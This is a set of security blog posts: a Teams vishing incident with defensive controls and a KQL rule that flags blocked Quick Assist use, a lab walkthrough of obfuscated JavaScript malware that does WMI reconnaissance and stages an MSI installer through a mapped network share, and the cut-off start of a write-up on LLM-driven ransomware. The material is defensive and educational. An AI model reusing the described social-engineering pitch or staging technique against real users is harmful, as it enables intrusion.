and that the issue needed to be escalated. Before that could happen though, he needed to get back on the system to adjust the power-saving settings so it wouldn\u0026rsquo;t go to sleep. The device, he insisted, had to be left on overnight.\nThat was the cue to shut down the party, bounce the bad guy, and clean up. While no damage was done, it warranted a hard look at what hadn\u0026rsquo;t gone well. One immediate outcome was the decision to throw together a detection rule to flag Quick Assist activity so there\u0026rsquo;d be an early signal if this happened again. It wasn\u0026rsquo;t elegant, but it got the job done, and it\u0026rsquo;s an important detail for later.\nI\u0026rsquo;d almost forgotten about this incident until\u0026hellip;\n10 months later: \u0026ldquo;Hello, this is (a different) Adam from your IT Department.\u0026rdquo; One Friday afternoon, right before a holiday weekend, an unexpected helpdesk ticket came in. A user reported that they\u0026rsquo;d missed a Microsoft Teams call from a suspicious caller with the display name \u0026ldquo;HELP DESK.\u0026rdquo; Then, only about five minutes later, that rarely seen and almost forgotten Quick Assist detection alert from way back in the summer popped on another workstation.\nCould it be another Adam?\nThis time, we were ready.\nWhen the team contacted the user immediately, they explained they had been speaking with a purported internal sysadmin and, wouldn\u0026rsquo;t you believe it, also named Adam. The timing couldn\u0026rsquo;t have been better for the attacker. With a holiday weekend looming and the user trying to wrap things up before heading out, New Adam\u0026rsquo;s call landed at exactly the wrong moment. The user just wanted to be helpful and cross one last thing off their list.\nAs instructed, the victim tried the classic Windows + Ctrl + Q shortcut to open Quick Assist. Blocked.\nNew Adam pivoted, instructing them to download another remote management tool, AnyDesk. Also blocked.\nAt that point, the user recalled that Adam sounded disappointed and abruptly hung up. The effort, it seemed, was now too great.\n\u0026ldquo;After asking for 2 tools he gave up. And he sounded disappointed when they came up the way they did.\u0026rdquo;\nThe user headed into their last meeting of the day, not even registering that Adam had just been an attacker trying to gain remote access to their laptop.\nFortunately, the earlier incident had given the team a pretty clear view of the playbook. This time, preventive controls and detection did exactly what they were supposed to do. No access was granted. The lessons from the earlier stumble paid off, turning this into a tidy containment and a perfect teachable moment.\nThe user genuinely couldn\u0026rsquo;t believe it. Teams showed Helpdesk, plain as day, and Adam sounded like he wanted to help, right? The thing is, if they\u0026rsquo;d paused and done even a basic directory search in their Teams client, they would\u0026rsquo;ve quickly discovered what we already knew. There was no Adam.\nA name or picture in Teams doesn\u0026rsquo;t prove who the caller is, a tone doesn\u0026rsquo;t prove intent, yet this is exactly how trust gets exploited.\nIt might seem obvious in hindsight, but vishing can be just as effective as email-based phishing. This isn\u0026rsquo;t a new tactic, but it remains powerful because, much like classic tech support scams, it preys on implicit trust and urgency. In most organizations, IT is seen as the steward of the device. Users get conditioned to a familiar break-fix rhythm. People want to help, and they want to be helped.\nMost security awareness training, including in this case, still focuses heavily on email threats. It\u0026rsquo;s often so fixated on blockbuster phishing statistics that the idea that something like a Teams voice call could be an entry point doesn\u0026rsquo;t even cross a user\u0026rsquo;s mind.\nBut that\u0026rsquo;s the job isn\u0026rsquo;t it? Keep learning. Keep improving. Keep protecting.\nSo, what\u0026rsquo;s the point of this story?\nThe Tech Recs Let\u0026rsquo;s talk options. What can we actually do to impose cost on the next would-be Adams and defend against these attacks in an organization that can\u0026rsquo;t simply wall itself in by blocking Teams calls from untrusted externals altogether?\nThis is very much a Microsoft-focused perspective, but a lot of the thinking applies more broadly. The goal here isn\u0026rsquo;t to solve vishing with a single control or to block everything outright. It\u0026rsquo;s to add friction, make these attacks harder to pull off, noisier, and more likely to stumble before they go anywhere useful.\nMuch of what follows is grounded in Microsoft\u0026rsquo;s guidance for protecting Teams through Microsoft Defender for Office 365, which provides a solid baseline. From there, the emphasis shifts to what actually helps in practice and how relatively small changes can turn the tides back in the defender\u0026rsquo;s favor.\nThese recommendations pull from Microsoft SecOps documentation, sprinkled in with firsthand observations from incidents like the ones above. I\u0026rsquo;m intentionally tying together ideas that Microsoft documentation often treats in isolation and shaping them into something more prescriptive and practical.\nSecurity Operations Guide for Teams protection — Microsoft Defender for Office 365 _A prescriptive playbook for SecOps personnel to manage Microsoft Teams protection in Microsoft Defender for Office 365._learn.microsoft.com\nIf you work in the Microsoft ecosystem, a quick heads-up: some of these capabilities are still in preview, and others evolve quickly as Teams and Defender continue to change. Depending on when you\u0026rsquo;re reading this, specific features, settings, or behaviors may look a little different.\nFrom here on out, we\u0026rsquo;ll get concrete.\nUser-Initiated Reporting of Suspicious Teams Calls or Messages Remember when I said one of the pitfalls was too much phish-focused training?\nThe first, and arguably easiest, improvement here, especially in a straight-up Microsoft shop, is empowering users to report more than just email. Suspicious Teams messages and calls should fall into that same muscle memory. And yes, there\u0026rsquo;s a reasonably frictionless way to do this without forcing users to open a helpdesk ticket. Instead, those reports can flow directly into your incident queue.\nMicrosoft has clearly put more attention on this threat over the past year and has improved their offerings as a result. As this attack surface continues to grow, it makes sense to lean on your user base and take advantage of what\u0026rsquo;s probably already been drilled into them ad-nauseam. If users know how to report phishing emails, reporting suspicious Teams activity shouldn\u0026rsquo;t feel like a new behavior.\nUser reported settings in Teams - Microsoft Defender for Office 365 _Admins can configure whether users can report malicious messages or calls in Microsoft Teams._learn.microsoft.com\nFrom an admin perspective, this starts in the Teams Admin Center. Depending on whether you\u0026rsquo;re using the classic policy experience or the newer unified policy pages, the paths look a little different.\nFor Messages: Classic: Teams Admin → Messaging → Messaging Policies → Report a security concern Unified policy page: https://admin.teams.microsoft.com/one-policy/settings/messaging → Report a security concern For Voice Calls (Preview): For voice calls, this capability is still in Preview at the time of writing, but it\u0026rsquo;s worth enabling where available:\nReport suspicious Teams Calls — Microsoft Teams _Learn how users can report suspicious or scam calls in Microsoft Teams_learn.microsoft.com\nClassic: Teams Admin → Voice → Calling Policies → Report a call Unified policy page: https://admin.teams.microsoft.com/one-policy/settings/calling → Report a call Image Credit: https://learn.microsoft.com/en-us/defender-office-365/submissions-teams#turn-off-or-turn-on-user-reporting-in-the-teams-admin-center\nMicrosoft Defender Portal Enablement Once reporting is enabled in the Teams Admin Center, there\u0026rsquo;s a corresponding step on the Defender side. In the Microsoft Defender portal, you\u0026rsquo;ll want to validate:\nMicrosoft Defender → Settings → Email \u0026amp; collaboration → User reported settings → Monitor reported items in Microsoft Teams\nNOTE: \u0026ldquo;The value of this setting is meaningful only if reporting is turned on in the Teams admin center as described in the previous section.\u0026rdquo; Meaning only turn it on if you\u0026rsquo;ve also enabled reporting in Teams, because it won\u0026rsquo;t work otherwise.\nWhile you\u0026rsquo;re in there, it\u0026rsquo;s also worth jumping down to the Microsoft Teams protection blade and confirming that Zero-hour auto purge (ZAP) for Teams chats and channels is enabled. Specifically, \u0026ldquo;Protect Teams chats and channels using retroactive content scanning and removal\u0026quot;should be set to On, with appropriate quarantine policies behind it.\nOnce everything is setup, user-initiated reporting gives you signals very similar to traditional phishing workflows, including alerts like:\nTeams message reported by user as security risk Teams message reported by user as not security risk Teams call reported by user as a security risk Teams call reported by user as a not security risk The most important part, though, isn\u0026rsquo;t the toggle. It\u0026rsquo;s making sure this shows up in end-user training. If users don\u0026rsquo;t know it exists, they can\u0026rsquo;t use it, and the whole control adds no value.\nAnd if someone does fall for a vishing call? Turn them into a security champion. Let them share what happened with their team. Peer accountability and humility are often far more effective than yet another reminder from IT about \u0026ldquo;being vigilant.\u0026rdquo;\nBlocking External Contacts Another obvious, quick win here is blocking the malicious external contact outright. It\u0026rsquo;s not the most painful control on the pyramid of pain, but it does stop the immediate threat. In both of the incidents above, and based on broader industry reporting, these attackers seem to favor [.]onmicrosoft.com domains, which makes this option particularly useful.\nWhat\u0026rsquo;s changed recently, and for the better, is Microsoft\u0026rsquo;s decision to let security teams participate directly through the Tenant Allow/Block List (TABL) on the Defender side.\nThis capability nicely complements the user reporting feature. More importantly, it gives security teams a way to act quickly when admin roles are split across functions. If your SOC sees a suspicious call artifact and needs to action on it, having to wait on a separate admin team can feel like unnecessary friction.\nBlock domains and addresses in Microsoft Teams using the Tenant Allow/Block List - Microsoft\u0026hellip; _Admins can learn how to block domains and addresses in Microsoft Teams using the Tenant Allow/Block List._learn.microsoft.com\nOn the Teams side, the setting to block external users (like our two Adams calling from [.]onmicrosoft.com domains) lives here:\nTeams Admin Center → External Collaboration → External Access → Organizational settings → Block specific users from communicating with people in my organization\nImage Credit: Block domains and addresses in Microsoft Teams using the Tenant Allow/Block List — Microsoft Defender for Office 365 | Microsoft Learn\nNOTE: For this to work, the Allow or block external domain option must be set to either Allow all external domains or Block only specific external domains.\nNow the fun part: Traditionally, maintaining this list required a Teams admin role. To better support least privilege, Microsoft added the option to allow the security team to manage blocked users and domains directly through Defender. Enabling \u0026ldquo;Allow my security team to manage blocked domains and blocked users\u0026ldquo;hands day-to-day action to the people already doing triage.\nOnce that setting is flipped, security teams can manage blocked Teams senders directly from the Defender portal using the Tenant Allow/Block List, without jumping between consoles or roles. It\u0026rsquo;s not exciting, but it reduces response time, and in incidents like these, that\u0026rsquo;s important.\nPull Audit Logs to Confirm Who Else Received a Call Going back to the stories of the two Adams, one important step after blocking the contact was figuring out who else they might have reached. Scoping impact matters, and in this case we needed to understand whether this activity stopped with a single user or if others had also been contacted.\nAt the time of writing, this is a bit more painful than it should be. There isn\u0026rsquo;t a relevant Advanced Hunting table available for Teams calls yet.\nI emphasize yet because Microsoft recently announced in a blog post, \u0026ldquo;From Impersonation Calls to Transparent Reporting: Defending the New Front Door of Attacks\u0026quot;that this gap is closing. Among several updates, Microsoft highlighted that \u0026ldquo;Microsoft Defender has turned Teams calling from a blind spot into a first-class SOC signal, including the ability to investigate Teams calling activity at scale via Advanced Hunting.\u0026rdquo; Hooray!\nFrom Impersonation Calls to Transparent Reporting: Defending the New Front Door of Attacks |\u0026hellip; _Email is still a major entry point-but it\u0026rsquo;s no longer the only one that matters. Today\u0026rsquo;s attackers are increasingly\u0026hellip;_techcommunity.microsoft.com\nThat\u0026rsquo;s a welcome change, but it didn\u0026rsquo;t help us when we actually needed to identify who else the Adams had contacted. So for this incident, and for this blog, we had to fall back to what\u0026rsquo;s available today and leverage the Unified Audit Log instead.\nFrom a Defender perspective, this lives under:\nMicrosoft Defender → System → Audit\nAudit log activities _Discover how to monitor and investigate activities in Microsoft 365 with the unified audit log. Search for specific\u0026hellip;_learn.microsoft.com\nTo scope activity, we might structure the search using the following parameters:\nWorkload\nMicrosoftTeams Activities\nOperation: CallParticipantDetail Friendly name: Added information about call participants Operation: ChatCreated Friendly name: Created a chat Keyword search (optional)\nThe attacker\u0026rsquo;s email address, often from a [.]onmicrosoft.com domain, if it was reported by the user or visible in their Teams client So, what\u0026rsquo;s the downside with this approach? Lag.\nIf you\u0026rsquo;ve spent any time in the Microsoft ecosystem, this won\u0026rsquo;t be surprising. There\u0026rsquo;s a delay between when an event occurs and when it becomes searchable in the audit log. Microsoft is fairly explicit about this, noting that for core services like Teams, \u0026quot; # \u0026quot;\naudit records typically become available 60 to 90 minutes after the event,\u0026rdquo; and sometimes longer.\nStill, it\u0026rsquo;s better than nothing. In these cases, it helped confirm that only the original reporter and the second victim had any contact with the second Adam.\nThe takeaway here is simple. Knowing which logs exist, where to find them, and what their limitations are is critical when responding to an incident. Even imperfect visibility can make the difference between guessing and confidently scoping the impact.\nDisable \u0026amp; Detect Quick Assist: The last recommendation for this piece is to better control and monitor the remote management and support tools in your environment. I\u0026rsquo;m not going to deep-dive into RMM tooling as a whole here, since this varies a lot by organization, tooling, and maturity. That said, understanding which tools are normal and approved, which aren\u0026rsquo;t, and which are commonly abused by threat actors can go a long way toward detecting potentially malicious activity.\nIn this story, Quick Assist was already blocked, but it didn\u0026rsquo;t raise an alert (learning moment #1). The second RMM tool, Zoho Assist, wasn\u0026rsquo;t blocked at all (learning moment #2). That combination presented an opportunity to reassess how RMM tools were controlled overall, which directly led to successfully blocking AnyDesk during the second incident. It also highlighted something more interesting. Even a blocked tool like Quick Assist can still provide detection value and act as a kind of canary in the coal mine.\nSo rather than trying to solve RMM tooling holistically in this post, let\u0026rsquo;s focus on that first learning moment: Quick Assist. It\u0026rsquo;s built into Windows, frequently abused in social engineering attacks, and a good place to impose some friction.\nIn a Microsoft Defender for Endpoint environment, Microsoft\u0026rsquo;s own guidance recommends disabling Quick Assist by blocking its service endpoint using a URL-based indicator. Specifically, this means blocking traffic to:\nhttps://remoteassistance.support.services.microsoft.com\nUse Quick Assist to help users _Learn how IT Pros can use Quick Assist to help users._learn.microsoft.com\nWhile this approach won\u0026rsquo;t uninstall Quick Assist (which is also a valid option), it prevents the application from establishing a session. More importantly for us, it preserves telemetry. That detection signal turned out to be really valuable compared to simply removing the tool entirely.\nNOTE: \u0026ldquo;Blocking the endpoint will disrupt the functionality of Remote Help, as it relies on this endpoint for operation.\u0026rdquo;\nDetection Rules Blocking alone is helpful, but pairing it with detection gives you early warning.\nAfter disabling Quick Assist via a Microsoft Defender for Endpoint URL block indicator, creating a custom detection can help tip you off to suspicious behavior. Sure, you might see the occasional fat-finger hotkey / accidental launch, but you might also catch the start of a vishing attack before it goes any further. That trade-off is usually worth it.\nYou might be wondering why not just check the Create alert option when configuring the indicator. In my experience, that doesn\u0026rsquo;t work reliably enough to depend on. Instead, creating a custom detection rule through Advanced Hunting has been far more consistent.\nCreate custom detection rules in Microsoft Defender XDR - Microsoft Defender XDR _Learn how to create custom detections rules based on advanced hunting queries._learn.microsoft.com\nBelow is a simple example query that looks for blocked connection attempts to the Quick Assist endpoint, where the initiating process contains quickassist.exe:\nDeviceEvents | where ActionType == \u0026quot;ExploitGuardNetworkProtectionBlocked\u0026quot; | where RemoteUrl contains \u0026quot;remoteassistance.support.services.microsoft.com\u0026quot; | where InitiatingProcessCommandLine has \u0026quot;quickassist.exe\u0026quot; | summarize arg_max(Timestamp, *) by DeviceId | project Timestamp, DeviceId, ReportId, DeviceName, RemoteUrl, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ActionType Once the query is in place, you can use the Create detection rule option directly from the KQL window, fill in the required fields, and set an appropriate rule frequency. This gives you visibility into when Quick Assist is being launched (or abused) in your environment, even though the session itself never succeeds.\nIn my experience, the value of being tipped off to a potential vishing attempt far outweighs the small number of false positives this kind of detection generates.\nKey Takeaways Let\u0026rsquo;s wrap this up.\nI\u0026rsquo;m always a little surprised by how easy it is to gain a victim\u0026rsquo;s trust with something as simple as a display name. There\u0026rsquo;s nothing particularly fancy going on here. Just \u0026ldquo;Help Desk\u0026quot;calling at the right moment and sounding plausible enough to gain remote access.\nLooking back at the two Adams, a few things stand out.\nFirst, maximize the tools you already have, and keep up with how they evolve. Microsoft Teams isn\u0026rsquo;t just messaging and meetings anymore. It\u0026rsquo;s an attack surface, and it\u0026rsquo;s always changing. For security operations, capabilities like user reporting, tenant-level blocking, and improved visibility into call activity didn\u0026rsquo;t meaningfully exist not that long ago. Staying current on what your platform can actually do matters, especially when attackers are happy to take advantage of whatever is least defended.\nSecond, training only works if users are empowered to act. In both incidents, the users weren\u0026rsquo;t reckless. They were trying to be helpful, and they were fooled. The difference the second time around wasn\u0026rsquo;t intuition, it was having a simple, familiar way to report something that felt off. If you want users to be part of the defense, make the response path easy and predictable so they don\u0026rsquo;t have to guess what to do under pressure.\nThird, be honest about what didn\u0026rsquo;t go as planned and improve it. This part is important. In the first incident, Quick Assist was blocked, but silent. That wasn\u0026rsquo;t a failure, but it was a missed opportunity. Instead of ignoring it, we adjusted and turned that quiet block event into usable signal the next time around.\nFinally, don\u0026rsquo;t wait for perfect detection from a single tool. No one alert told this story end to end. Some signal came from the IPS. Some came from audit logs. Some came from users. Each piece on its own was incomplete, but together it was enough to understand scope, confirm access, and respond.\nThat\u0026rsquo;s really the point of this whole post. Defending against these attacks is hard. You need visibility where you can get it, the knowledge to act on what you see, and a willingness to close the gaps when you stumble.\nThanks for reading!\nReferences: Security Operations Guide for Teams protection in Microsoft Defender for Office 365: https://learn.microsoft.com/en-us/defender-office-365/mdo-support-teams-sec-ops-guide#enable-secops-to-hunt-for-threats-and-detections-in-microsoft-teams\nMicrosoft Learn — User reported settings in Microsoft Teams: https://learn.microsoft.com/en-us/defender-office-365/submissions-teams#turn-off-or-turn-on-user-reporting-of-teams-messages-in-the-defender-portal\nMicrosoft Learn — End user reporting for Teams Calling (Preview): https://learn.microsoft.com/en-us/microsoftteams/end-user-reporting-teams-calling\nCynet — \u0026ldquo;Emerging Threat: Microsoft Teams Vishing Campaign Continues\u0026rdquo; : https://www.cynet.com/blog/emerging-threat-microsoft-teams-vishing-campaign-continues/#:~:text=The%20attacker%20contacts%20the%20targeted,to%20Office%20365%20for%20Business.\nMicrosoft Learn — Block domains and addresses in Microsoft Teams using the Tenant Allow/Block List: https://learn.microsoft.com/en-us/defender-office-365/tenant-allow-block-list-teams-domains-configure\nFrom Impersonation Calls to Transparent Reporting: Defending the New Front Door of Attacks: https://techcommunity.microsoft.com/blog/microsoftdefenderforoffice365blog/from-impersonation-calls-to-transparent-reporting-defending-the-new-front-door-o/4503050\nMicrosoft Learn — Search the audit log: https://learn.microsoft.com/en-us/purview/audit-search#:~:text=Microsoft%20doesn\u0026rsquo;t%20guarantee%20a,commit%20to%20a%20specific%20time.\nMicrosoft Learn — Audit Log Activities (Teams): https://learn.microsoft.com/en-us/purview/audit-log-activities#teams-activities\nMicrosoft Learn — Disable Quick Assist within your organization: https://learn.microsoft.com/en-us/windows/client-management/client-tools/quick-assist#disable-quick-assist-within-your-organization\nMicrosoft Learn — Create custom detection rules: https://learn.microsoft.com/en-us/defender-xdr/custom-detection-rules\nMITRE ATT\u0026amp;CK — Software — Quick Assist (S1209): https://attack.mitre.org/software/S1209/\n","date":"2026-04-19T00:00:00Z","image":"/posts/stumblesoc-blog-stories-the-teams-call-compromise/2f9fcf40f3ddb4bc86f758723a4dd02d_MD5.jpg","permalink":"/posts/stumblesoc-blog-stories-the-teams-call-compromise/","title":"StumbleSOC Blog Stories  — The Teams Call Compromise"},{"content":"LetsDefend: Obfuscated JavaScript Challenge Walkthrough Malicious JavaScript Analysis: Identifying Obfuscation, WMI Usage, and Network-Based Payload Staging Image Credit: https://app.letsdefend.io/challenge/obfuscated-javascript\nIntroduction: Welcome to my weekly walkthrough! If you\u0026rsquo;ve stumbled across this blog looking for a detailed guide to the Obfuscated JavaScript blue team challenge from LetsDefend, you\u0026rsquo;re in the right place. This one drops us right into the world of script-based malware where attackers lean on obfuscation to complicate analysis.\nIn this challenge, we\u0026rsquo;re stepping into the role of a cybersecurity analyst responding to reports of strange behavior across internal web applications. What initially looks like routine troubleshooting quickly turns into something more concerning when we discover that several critical JavaScript files have been aggressively obfuscated.\nOur mission is fairly straightforward but tricky in practice. We need to analyze the obfuscated script, identify the techniques used to hide its behavior, and determine whether it contains malicious code. With no automated tooling and no internet access, we\u0026rsquo;re forced to rely on careful inspection, pattern matching, and a methodical approach using nothing more than the terminal and a text editor. It\u0026rsquo;s not the sexiest approach, but it works.\nAlong the way, we\u0026rsquo;ll uncover how the script leverages ActiveX, WMI, and network drive mapping to enumerate the host environment, stage an external payload, and clean up after itself. I\u0026rsquo;ll walk through each step, explaining not just what we find, but why it matters from a defensive perspective. The goal isn\u0026rsquo;t just to solve the challenge, but to help contextualize what we find. Let\u0026rsquo;s go!\nAnd hey, if this walkthrough helps you level up your JavaScript analysis skills, gets you past a stumbling block, or simply gives you another angle on script-based malware, consider following along for more weekly deep dives.\nThanks for reading and going on this investigation with me!\nChallenge Scenario: Imagine you are a cybersecurity analyst at a mid-sized tech company. One morning, you receive multiple reports from employees that their web applications are behaving erratically. Upon investigation, you discover that the source code of several critical JavaScript files has been heavily obfuscated, making it difficult to understand and troubleshoot the code. This obfuscation includes the insertion of numerous misleading comments, variable renaming, and string encoding. Your task is to analyze the obfuscated JavaScript code, identify the obfuscation techniques used, and determine if any malicious code has been inserted.\nQuestion 1: What is the name of the ActiveXObject created in the script? Let\u0026rsquo;s kick off our investigation by extracting the sample from sample.7z. This leaves us with an appropriately named text file, sample, which contains the obfuscated JavaScript we\u0026rsquo;re going to analyze.\nOverview of the challenge artifacts.\nJust to get an idea of what we\u0026rsquo;re working with, go ahead and open the file in the text editor provided by the LetsDefend environment.\nOverview of the sample in a text editor\nYikes, it\u0026rsquo;s a mess! Under normal circumstances, we might start this workflow by throwing the script into CyberChef or another deobfuscation tool. This time, though, we\u0026rsquo;re deliberately limiting ourselves to what\u0026rsquo;s provided in the analysis environment. So, no automated tooling and no internet access. But, what we do have is the terminal and familiar Linux utilities like grep, which can still take us surprisingly far (like the whole way).\nSo, instead of trying to deobfuscate everything at once, we can find our footing by looking for recognizable patterns. For Question 1, we\u0026rsquo;re specifically asked to identify the ActiveXObject created in the script. That gives us a clear string to hunt for.\nWe\u0026rsquo;ll start by printing the contents of the sample to the terminal, piping the output into grep, and using the -i flag to ignore case and simply searching for \u0026quot; # \u0026ldquo;activex_.\u0026rdquo;\ncat sample | grep -i \u0026ldquo;activex\u0026rdquo;\nRunning this command highlights a handful of non-obfuscated lines buried in the noise. Among them, we find the following code:\nnew ActiveXObject(\u0026ldquo;WScript.Network\u0026rdquo;)\nTerminal: Using grep to identify \u0026quot; # \u0026quot;\nactiveX\u0026quot;\nThis tells us that the script leverages the ActiveXObject named \u0026ldquo;WScript.Network\u0026rdquo;. From the limited context we have so far, this suggests the script might be performing basic network enumeration, such as retrieving the computer name, domain membership, or mapped network drives.\nNow that we\u0026rsquo;ve found some early reconnaissance behavior, let\u0026rsquo;s dig in further to see what else we can find.\nQuestion 2: What WMI namespace is accessed in the script? Next, we need to identify which Windows Management Instrumentation, or WMI, namespace the script accesses. WMI namespaces are essentially logical containers that group related management classes (like components) together. Understanding which namespace is in use helps us infer what kinds of system information the script is aiming to collect.\nWe\u0026rsquo;ll tackle this the same way we did in Question 1 by narrowing our focus with grep. This time, instead of searching for ActiveX, we\u0026rsquo;ll key in on WMI:\ncat sample | grep -i \u0026ldquo;WMI\u0026rdquo;\nTerminal: Identifying the WMI namespace with grep\nThis output gives us a bit more to work with. Right on the first matching line, we can see evidence that the script is interacting with the root\\\\CIMV2 namespace.\nAccording to Microsoft, \u0026ldquo;root\\CIMV2\u0026quot;is the default and one of the most commonly used WMI namespaces. It exposes a broad set of system and hardware-related classes, allowing scripts to query information about things like disks, running processes, memory, operating system details, and more.\nWhile this isn\u0026rsquo;t inherently malicious, it seems like we\u0026rsquo;ve stumbled across more potential reconnaissance activity.\nQuestion 3: What is the initial value of the attempt variable in the script? Moving right along to Question 3, we need to identify the initial value of the attempt variable in the script. At this point, we\u0026rsquo;re already comfortable leveraging some lightweight pattern matching, so we\u0026rsquo;ll continue leaning on the terminal and grep.\nThis time, we\u0026rsquo;ll broaden the search scope slightly by looking for all variable declarations. In this sample, the obfuscation conveniently leaves /var as a recurring pattern, which makes it a useful anchor for limiting our output:\ncat sample | grep -i \u0026ldquo;/var\u0026rdquo;\nTerminal: Identifying the attempt variable\nVoila! This approach yields a small set of variables without overwhelming us with too much noise. Scanning through the output, we\u0026rsquo;ll spot the definition of the attempt variable with a value of 0, suggesting it might be used as some kind of counter or control variable later in the script.\nQuestion 4: What function is used to enumerate network drives in the script? We\u0026rsquo;ve got a rhythm down now. Remember back in Question 1, where we stumbled across early evidence of network reconnaissance activity tied to WScript.Network? For Question 4, we\u0026rsquo;ll pivot back to that thread and broaden our search.\nThis time, we\u0026rsquo;ll hunt for references to network more generally and see what turns up:\ncat sample | grep -i \u0026ldquo;network\u0026rdquo;\nTerminal: Identifying the network drive enumeration\nThe output here is a bit noisier than before, but if you scan through the results, the third returned line stands out. That\u0026rsquo;s where we see a call to the network.MapNetworkDrive function.\nThis lines up nice and tidy with the WScript.Network object we identified earlier. Put together, it gives us solid evidence that the script is interacting with mapped network drives. Whether it\u0026rsquo;s enumerating existing mappings, creating new ones, or abusing them for lateral movement is something we\u0026rsquo;ll need to confirm by looking at how this function is used elsewhere in the code.\nQuestion 5: How long does the script wait (in milliseconds) after executing the net use command? Next up, we need to determine the waiting period defined in the script after executing the net use command. At first glance, it seems reasonable to search directly for the command itself. I tried grepping for \u0026ldquo;net use\u0026quot;first, but as you can see, that didn\u0026rsquo;t quite get us where we needed to go.\nInstead, we need to zoom out slightly and look for broader timing-related evidence. In this case, the string \u0026ldquo;starttime\u0026quot;turns out to be a much better anchor:\ncat sample | grep -i \u0026ldquo;starttime\u0026rdquo;\nTerminal: Identifying the wait time\nThis output reveals the delay logic implemented by the script. Based on the value assigned and how it\u0026rsquo;s used, we can see that the script waits 3000 milliseconds after executing the net use command to map a non-persistent network drive.\nThat\u0026rsquo;s a short pause before the script continues, giving the mapped network drive time to become available before potentially being leveraged for staging additional payloads or collecting data for exfiltration. Let\u0026rsquo;s keep going and build out more context.\nQuestion 6: What is the MSI package used for installation in the script called? To answer Question 6, we need to identify the MSI package referenced in the script for the next stage of execution. Since the question explicitly mentions installation, it makes more sense to search for the Windows Installer utility itself rather than hunting blindly for .msi strings.\nInstead, we\u0026rsquo;ll look for msiexec, the command-line tool commonly used to install MSI packages on Windows systems:\ncat sample | grep -i \u0026ldquo;msiexec.exe\u0026rdquo;\nTerminal: Identifying the package through msiexec\nBingo. This immediately surfaces the relevant line in the script. From the command arguments, we can see that the installer being executed is avp.msi, and it\u0026rsquo;s being launched directly from the mapped network share we identified earlier.\nThis ties back nicely to our observations in Question 5. We speculated that the mapped drive could be used for malware staging, and seeing avp.msi hosted on that share gives us increased confidence though we don\u0026rsquo;t have any firm evidence that it\u0026rsquo;s malicious.\nQuestion 7: What is the final output message if the network drive removal fails in the script? Coming into the home stretch, the question tells us that the script attempts to remove the mapped network drive and displays a message if that operation fails.\nTo track this down, we can keep things simple and adjust our grep filter to look for failure-related strings:\ncat sample | grep -i \u0026ldquo;fail\u0026rdquo;\nTerminal: Identifying the failure message\nThis quickly surfaces a message associated with the network drive cleanup logic.\nFrom this, we can infer that after the MSI payload is executed, the script attempts to disconnect the staging area. If that removal fails, a failure message is displayed. This kind of cleanup behavior is likely an effort to remove artifacts and reduce the forensic footprint.\nQuestion 8: What function is used to check if a drive is mapped in the script? For the last question, we\u0026rsquo;ll follow a similar approach to the previous one. The prompt tells us there\u0026rsquo;s a function in the script responsible for checking whether a network drive is mapped, so we already have a nice hint about what to look for.\nLet\u0026rsquo;s gather a bit more information by grepping for keywords related to drive mappings:\ncat sample | grep -i \u0026ldquo;mapped\u0026rdquo;\nTerminal: Identifying the isDriveMapped function\nFrom this, we can see that the function isDriveMapped is used to determine whether a specific drive letter is already mapped, making it easy for the rest of the script to reference and reuse that information during execution.\nAnd that\u0026rsquo;s all she wrote. This wraps up the analysis and confirms that the script includes logic not just to map and remove network drives, but also to track their state along the way. Great job!\nConclusion: How fun was that? A big thank you to LetsDefend for another solid challenge.\nThis challenge was a great reminder that you don\u0026rsquo;t need advanced reverse engineering skills to extract meaningful insight from a suspicious script. By leaning on static analysis, pattern matching, and some inference from the questions, we were able to uncover suspicious functionality in the script, including host reconnaissance, network drive staging, payload delivery, and cleanup behavior, using nothing more than a terminal and a text editor.\nFor me, this challenge was just as much about exposure to different kinds of malware as it was about answering the questions. Obfuscated JavaScript isn\u0026rsquo;t at the top of my skillset, but working through this scenario highlighted the value of breaking things down, following the artifacts, and letting the script tell the story.\nIt also feels less hypothetical than it might have a few years ago. Script-based malware is still very much alive, and it\u0026rsquo;s the sort of activity defenders continue to encounter in real web environments. Getting comfortable with these patterns, even in a lab setting, pays dividends when similar behaviors show up during incident response or threat hunting.\nThanks for your support and for partnering with me on this investigation. If this walkthrough helped you over a stumbling block, sharpened your analysis skills, or gave you a new way to approach obfuscated scripts, please give it a clap and consider following me. Your feedback keeps me motivated, and it genuinely helps me support your security journey.\nUntil next week\u0026rsquo;s challenge, stay curious and be safe out there.\nTools \u0026amp; References: Challenge Link: https://app.letsdefend.io/challenge/obfuscated-javascript\nMicrosoft Learn — about_WMI: https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_wmi?view=powershell-7.6\nMicrosoft Learn — msiexec: https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec\n","date":"2026-04-12T00:00:00Z","image":"/posts/letsdefend-obfuscated-javascript-challenge-walkthrough/a23fc2f7b435ad3801896d084afd433e_MD5.png","permalink":"/posts/letsdefend-obfuscated-javascript-challenge-walkthrough/","title":"LetsDefend  — Obfuscated JavaScript Challenge Walkthrough"},{"content":"LetsDefend: AI-Powered Ransomware Challenge Walkthrough Reverse Engineering PromptLock: Static Analysis of AI-Powered Ransomware Using Ghidra, DiE, and PeStudio Image Credit: https://app.letsdefend.io/challenge/ai-powered-ransomware\nIntroduction: Welcome to my weekly walkthrough. If you\u0026rsquo;ve stumbled across this blog while looking for a step-by-step guide to the AI-Powered Ransomware challenge from LetsDefend you\u0026rsquo;re in the right place. This week\u0026rsquo;s scenario pushes into unfamiliar territory for me, combining traditional malware analysis with local AI model abuse, and that makes it a great opportunity to slow down, ask questions, and learn together.\nIn this challenge, we\u0026rsquo;re tasked with analyzing PromptLock, a cross-platform ransomware sample written in Go that leverages local large language models to generate malicious scripts on the fly.\nBecause this is still a growth area for me, this walkthrough leans into methodical static analysis rather than a deep dive with hero-level reversing. Using tools like Ghidra, Detect It Easy (DiE), and PeStudio, we\u0026rsquo;ll pull apart the binary to answer focused questions about how PromptLock works. Along the way, there will absolutely be moments where we stumble or don\u0026rsquo;t take the most efficient path. That\u0026rsquo;s part of the learning process, and we\u0026rsquo;ll still get to the bottom of it.\nThe goal here isn\u0026rsquo;t just to answer the challenge questions, but to build a repeatable workflow you can apply when you encounter unfamiliar malware techniques in the real world, especially as AI starts showing up in unexpected places. If this write-up helps you learn more about static analysis, local AI abuse, or simply gets you past a stumbling block of your own, I\u0026rsquo;m glad to help. Let\u0026rsquo;s go!\nChallenge Scenario: You are tasked with analyzing PromptLock, the first AI-powered ransomware. This malware is written in Go and leverages local AI models to generate malicious scripts on-the-fly. PromptLock can generate scripts 